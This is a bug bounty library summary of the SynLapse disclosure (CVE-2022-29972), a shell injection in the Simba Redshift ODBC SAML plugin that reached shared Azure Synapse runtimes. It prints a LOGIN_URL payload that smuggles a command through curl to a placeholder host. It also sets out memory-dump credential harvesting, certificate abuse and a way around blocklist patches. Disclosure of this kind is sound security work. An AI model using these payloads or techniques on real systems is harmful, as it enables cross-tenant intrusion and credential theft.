# SynLapse – Technical Details for Critical Azure Synapse Vulnerability

Shell injection in Simba Redshift ODBC SAML plugin plus connector-type bypass let attackers RCE shared Azure Synapse integration runtimes, stealing cross-tenant credentials and workspace identities.

- Payout: $60,000
- Severity: critical
- Program: Microsoft
- Credited: Tzah Pahima
- Disclosed: 2022-06-14
- CVE: CVE-2022-29972
- Write-up quality: 9/10
- Original: https://orca.security/resources/blog/synlapse-critical-azure-synapse-analytics-service-vulnerability/
- Library page: https://bugbountylibrary.com/r/blog%3Aorca-security-resources-blog-synlapse-critical-azure-synapse-analytics-service-vulnerability
- Tags: domain:cloud impact:data-leak impact:internal-access impact:privesc kind:bounty platform:blog sev:critical tech:azure technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Azure Synapse/Data Factory integration runtime and internal management API
**Root cause:** The Simba Redshift ODBC SAML plugin builds a shell command from the LOGIN_URL without sanitization, and the shared Azure integration runtime holds a client certificate with broad permissions to an internal management API server.
**Steps:**
1. Craft ODBC connection string with `plugin_name=BrowserSAML;LOGIN_URL={exit" | whoami | curl --data-binary @- -m 5 "http://HTTP_SERVER_HERE" | echo "1}` to get shell injection RCE on own SHIR.
2. Send the same request but set integration runtime name to `AutoResolveIntegrationRuntime` to run on the shared Azure IR.
3. Dump TaskExecutor.exe memory with procdump to harvest plaintext credentials/tokens of other tenants.
4. Extract the client certificate from the shared runtime and use it against the internal Synapse management server to query other workspaces and obtain managed identities.
5. After patch #1 blocking GenericOdbc, resend payload with connector type `MicrosoftAccess`; after patch #2, use `GenericOdbcPartition`.
6. After patch #3, abuse Salesforce connector `extendedProperties` to inject `Driver={Microsoft Amazon Redshift ODBC Driver_1.4.21.1001};...LOGIN_URL={exit" | whoami | curl ...}`.
**How found:** Researcher audited the self-hosted integration runtime's ODBC connectors and found the SAML plugin's shell command injection. Noticing Synapse UI blocked Azure-hosted IRs for ODBC, he replayed the request with the runtime name swapped to AutoResolveIntegrationRuntime and it succeeded. After MSRC's connector blocklist patch, he decompiled Microsoft.DataTransfer.Gateway.TaskEngine.dll, saw GenericOdbcConnector was shared by Informix/MicrosoftAccess, and bypassed via alternate connector names; later reviewed every BuildConnectionString implementation and found Salesforce's extendedProperties merged unsanitized into the ODBC string.
**Exploitation:** Attacker needs only a Synapse workspace name. They submit a pipeline activity using a malicious ODBC connection string against the shared AutoResolveIntegrationRuntime, achieving SYSTEM-level code execution on a multi-tenant VM. From there they dump process memory for other customers' credentials and tokens, and use the resident client certificate to authenticate to the internal management API, enumerate other workspaces, and obtain their managed identities, enabling code execution on any customer's integration runtime.
**Escalation:** Chained shell injection -> shared multi-tenant runtime -> memory credential theft -> internal management API certificate abuse -> cross-tenant workspace identity takeover and RCE on arbitrary integration runtimes; also control of the Azure batch pool running all shared runtimes.
**Insight:** When a vendor patches by blocklisting a connector/feature name, decompile the dispatch layer to find sibling types that reach the same dangerous sink (e.g., other connectors instantiating GenericOdbcConnector), and audit per-connector BuildConnectionString for user-controlled 'extendedProperties' merged into the final connection string.